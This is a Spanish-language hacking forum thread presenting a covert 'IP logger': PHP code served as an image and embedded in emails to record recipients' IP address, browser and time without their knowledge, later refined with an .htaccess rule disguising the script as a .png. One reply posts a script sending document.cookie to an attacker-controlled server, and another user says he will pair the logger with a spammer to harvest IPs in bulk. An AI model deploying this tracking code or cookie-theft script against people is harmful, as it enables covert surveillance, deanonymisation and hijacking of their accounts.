Underc0de - Hacking y seguridad informática

[In]Seguridad Informática => Hacking => Mensaje iniciado por: rollth en Septiembre 25, 2017, 11:27:18 pm

Título: Obtener IP de un correo.
Publicado por: rollth en Septiembre 25, 2017, 11:27:18 pm
Como en muchos casos la gente pregunta como conseguir la IP de un correo creo que es el momento de enseñar una técnica que podrán usar, efectiva y que no es sospechosa.

Lo que vamos a hacer es un IpLogger en PHP, solo que en esta ocasión en lugar de esperar que hagan click, haremos que devuelva una imagen, de esta forma la podremos cargar en el correo y obtener la IP sin necesidad de que el usuario haga click en ningún link. Este sería el código que vamos a usar:

Código: PHP
  1. <?php
  2.  
  3. // IpLogger
  4.  
  5. $datos = "Fecha: " . date('Y-m-d H:i:s') . " - IP: $_SERVER[REMOTE_ADDR] - UserAgent: $_SERVER[HTTP_USER_AGENT] ";
  6. $archivo = fopen("datos.txt", "a");
  7. $fw = fwrite($archivo, "$datos\n");
  8. fclose($archivo);
  9.  
  10. // Devuelve imagen
  11.  
  12. $imagen = file_get_contents('https://url.es/imagen.jpg');  // Aquí pondrán la imagen que quieran que aparezca.
  13.  
  14. header('Content-type: image/jpeg;');
  15. header("Content-Length: " . strlen($imagen));
  16. echo $imagen;
  17.  
  18. ?>
  19.  

Para hacer que nos envíe la IP tan solo habría que usar la etiqueta <img src="www.dominio.es/codigo.php"> en el correo. En caso de usar Gmail la imagen también se puede cargar desde url.

(En cualquier WEB que pongan la etiqueta y entre alguien también mandará su IP).

Esto funciona como un CSRF, pueden leer aquí (https://underc0de.org/foro/bugs-y-exploits/ataques-csrf-(cross-site-request-forgery)/)-como-crear-tu-csrf/) un tutorial.

Cuando el navegador lee la etiqueta <img src=""> este manda una petición GET para analizar cual es la imagen que devuelve esa url, al ser un código PHP este se ejecuta y después devuelve la imagen que es la que se va a mostrar en nuestro navegador.
 
(https://media.licdn.com/mpr/mpr/AAEAAQAAAAAAAARMAAAAJGI5OTMwNWMyLTg0ZmUtNDlhZC05N2Q2LTEzZWVlY2Q0Y2NlNg.png)

Veamos como quedaría el mail recibido.

(https://i.gyazo.com/29a75b61d3dba028e4d4148287d1595a.png)

Y así quedarían los logs dentro de nuestro dominio.

(https://i.gyazo.com/9e5a5919c3c073b15d932ebb30692e01.png)

En mi caso también me devuelve IPs de Google ya que envié el correo por Gmail y usé la opción de obtener imagen por URL.

Espero que les sea de utilidad.

También me pueden seguir en Twitter si les hace ilusión: @RoloMijan (https://twitter.com/RoloMijan)

Saludos.
Título: Re:Obtener IP de un correo.
Publicado por: Zyvyxk en Septiembre 26, 2017, 07:42:29 am
Alta tecnica, gracias viejo!
Título: Re:Obtener IP de un correo.
Publicado por: animanegra en Septiembre 26, 2017, 09:43:06 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.
Título: Re:Obtener IP de un correo.
Publicado por: rollth en Septiembre 26, 2017, 10:04:37 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.
Título: Re:Obtener IP de un correo.
Publicado por: animanegra en Septiembre 26, 2017, 10:45:57 am
¿Pero lo que estas metiendo no es el tag imagen con el source redireccionado hacia un servidor y te lo está interpretando?
Título: Re:Obtener IP de un correo.
Publicado por: rollth en Septiembre 26, 2017, 11:07:33 am
¿Pero lo que estas metiendo no es el tag imagen con el source redireccionado hacia un servidor y te lo está interpretando?

Así es, pero no veo como se va a hacer así un robo de cookies.
Título: Re:Obtener IP de un correo.
Publicado por: animanegra en Septiembre 26, 2017, 11:31:34 am
¿Que te interpreta el html y se cepilla todo el javascript? ¿Por ejemplo un iframe tragaria? Me sigue pareciendo un fallo gordo.
Me refiero a mi el correo por defecto me suprime todo lo que haga referencia externa, que entiendo es lo correcto. Pero creía recordar que correos como gmail y hotmail hacen lo mismo.
Título: Re:Obtener IP de un correo.
Publicado por: rollth en Septiembre 26, 2017, 12:17:48 pm
¿Que te interpreta el html y se cepilla todo el javascript? ¿Por ejemplo un iframe tragaria? Me sigue pareciendo un fallo gordo.
Me refiero a mi el correo por defecto me suprime todo lo que haga referencia externa, que entiendo es lo correcto. Pero creía recordar que correos como gmail y hotmail hacen lo mismo.

Obviamente el javascript en gmail y hotmail está filtrado. ¿Qué gestor de correos usas?
Puede  que dependiendo de como este configurado el email envíe este tipo de contenido a spam, pero aún así no elimina el contenido. (gmail con su configuración por defecto no envía a spam y hotmail depende del remitente, en ambos casos he conseguido que no se envíe a spam)

Saludos
Título: Re:Obtener IP de un correo.
Publicado por: zoro248 en Septiembre 26, 2017, 01:47:17 pm
Es una buena opcion, pero lo confundi con obtener las direccion IP de un correo recibido (algo que aportan las cabeceras),


Saludos!  ;D
Título: Re:Obtener IP de un correo.
Publicado por: The Yisus en Noviembre 11, 2017, 09:13:51 pm
Bro una pregunta, soy algo nuevo en esto, ¿Pero que programa utilizas para hacer que eso te corra?
Título: Re:Obtener IP de un correo.
Publicado por: DUDA en Noviembre 14, 2017, 12:55:06 pm
Bro una pregunta, soy algo nuevo en esto, ¿Pero que programa utilizas para hacer que eso te corra?

Está ejecutando código php en algún hosting y convocandolo desde una etiqueta html.

Gracias por leer,
DUDA
Título: Re:Obtener IP de un correo.
Publicado por: F4T4L 3RR0R en Noviembre 20, 2017, 03:38:53 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

A lo que se refiere animanegra según entiendo, es a que independientemente del código que introduzcas, el método que estás usando debería ser filtrado por los gestores de correos, aunque no sea un XSS. En resumen, si estás obteniendo el IP, podrías también obtener las cookies de sesión...De todas maneras, habrá que probarlo.
Título: Re:Obtener IP de un correo.
Publicado por: rollth en Noviembre 20, 2017, 06:50:27 am
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.
 
algo así como:

Código: [Seleccionar]
<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>

El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

A lo que se refiere animanegra según entiendo, es a que independientemente del código que introduzcas, el método que estás usando debería ser filtrado por los gestores de correos, aunque no sea un XSS. En resumen, si estás obteniendo el IP, podrías también obtener las cookies de sesión...De todas maneras, habrá que probarlo.

Los emails se basan en etiquetas HTML, cuando tu intentas enviar una XSS se filtra esa etiqueta, estan los filtros específicos, sin embargo como entenderás la etiqueta <img> no está filtrada, el obtener la IP es como si fuera un SCRF más que una XSS, pruebalo a ver si entiendes mejor el concepto, pero ya te digo que es funcional y que no tiene nada que ver con una XSS.

Cualquier duda más o fallo que tengas en caso de que lo repliques no dudes en preguntar.

Saludos.
Título: Re:Obtener IP de un correo.
Publicado por: TGPRul€$$ en Enero 11, 2018, 01:49:07 pm
Bueno, bueno. A quien tenemos aquí jajaja. Buen IPLogger sin duda alguna.
Título: Re:Obtener IP de un correo.
Publicado por: user_en1gm4 en Enero 12, 2018, 12:31:55 pm
Muy buen aporte amigo, con mi spammer y este truquito puedo obtener ips masivamente, gracias
Título: Re:Obtener IP de un correo.
Publicado por: boquiqui en Enero 14, 2018, 01:17:30 pm
Hola, muy buena aportación.

Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.

Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.
Título: Re:Obtener IP de un correo.
Publicado por: rollth en Enero 14, 2018, 02:52:24 pm
Hola, muy buena aportación.

Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.

Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.

Ese código obtiene bastante información, puedes fijarte en la imagen.
IP, fecha, hora, OS + versión, navegador + versión.

Saludos.
Título: Re:Obtener IP de un correo.
Publicado por: boquiqui en Enero 15, 2018, 05:56:42 am
Si, ya he visto.

Cuanta más información recopila, más se puede identificar un dispositivo entre otros tantos.

Imagina que queremos identificar un dispositivo, pero que este tiene varias cuentas de usuario. Con el mismo sistema operativo, y misma versión de navegador. Recopilando la información de los plugins instalados, configuración del navegador, fuentes instaladas, resolución del monitor, podemos obtener un perfil más acertado de queusuario hizo click.
Título: Re:Obtener IP de un correo.
Publicado por: boquiqui en Enero 15, 2018, 05:26:12 pm
He probado en gmail, y no acepta la url como imagen.
Título: Re:Obtener IP de un correo.
Publicado por: Nobody en Enero 25, 2018, 02:53:57 pm
¡Hola!

Gran aporte, Rolo. Se me ocurrió que se podría mejorar un poquito, la técnica como el código.

Modifiqué el código para funcionar con cualquier tipo de archivo (por el mimetype). La función getMimeType la hice para la compatibilidad entre versiones de PHP.

Código: PHP
  1. <?php
  2. // write data
  3. $info = sprintf("Date: %s\nIP: %s\nUser Agent: %s\n", date('Y-m-d H:i:s'), $_SERVER['REMOTE_ADDR'], $_SERVER['HTTP_USER_AGENT']);
  4. $file = fopen("data.txt", "a");
  5. fwrite($file, $info);
  6. fclose($file);
  7.  
  8. // fake img
  9. $fname = basename('image.png');
  10. $img = file_get_contents($fname);
  11. header('Content-type: ' . getMimeType($fname));
  12. header('Content-Length: ' . strlen($img));
  13. echo $img;
  14.  
  15. // functions
  16. function getMimeType($filename)
  17. {
  18.         if (/*extension_loaded("fileinfo")*/ function_exists('finfo_file'))
  19.                 return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filename);
  20.         else if (function_exists('mime_content_type'))
  21.                 return mime_content_type($filename);
  22.         else
  23.         {
  24.                 // only images
  25.                 $idx = strtolower(substr(strrchr($filename, "."), 1));
  26.                 $mime = array(
  27.                         'gif' => 'image/gif',
  28.                         'ico' => 'image/x-icon',
  29.                         'jpeg' => 'image/jpeg',
  30.                         'jpg' => 'image/jpeg',
  31.                         'png' => 'image/png'
  32.                 );
  33.                
  34.                 if (isset($mime[$idx]))
  35.                         return $mime[$idx];
  36.                 else return 'application/octet-stream';
  37.         }
  38. }
  39. ?>

Y para esconder un poquito más la extensión .php en el tag img, se puede usar un .htaccess.

Código: Text
  1. # Prevent viewing of htaccess and htpasswd files.
  2. <Files .htaccess>
  3.     order allow,deny
  4.     deny from all
  5. </Files>
  6.  
  7. # Prevent directory listings.
  8. Options All -Indexes
  9.  
  10. # Hide .php in image.
  11. Options +FollowSymlinks
  12. RewriteEngine on
  13. RewriteRule ^(.*)\.jpg$ $1.php [nc]
  14. RewriteRule ^(.*)\.jpeg$ $1.php [nc]
  15. RewriteRule ^(.*)\.tiff$ $1.php [nc]
  16. RewriteRule ^(.*)\.gif$ $1.php [nc]
  17. RewriteRule ^(.*)\.bmp$ $1.php [nc]
  18. RewriteRule ^(.*)\.png$ $1.php [nc]

Con este ejemplo, se podría usar una extensión de imagen falsa, apuntando al PHP.
Código: HTML5
  1. <img src="https://www.hack.er/image.png />

Saludos.
P.D.: Volví (?  ;D ;D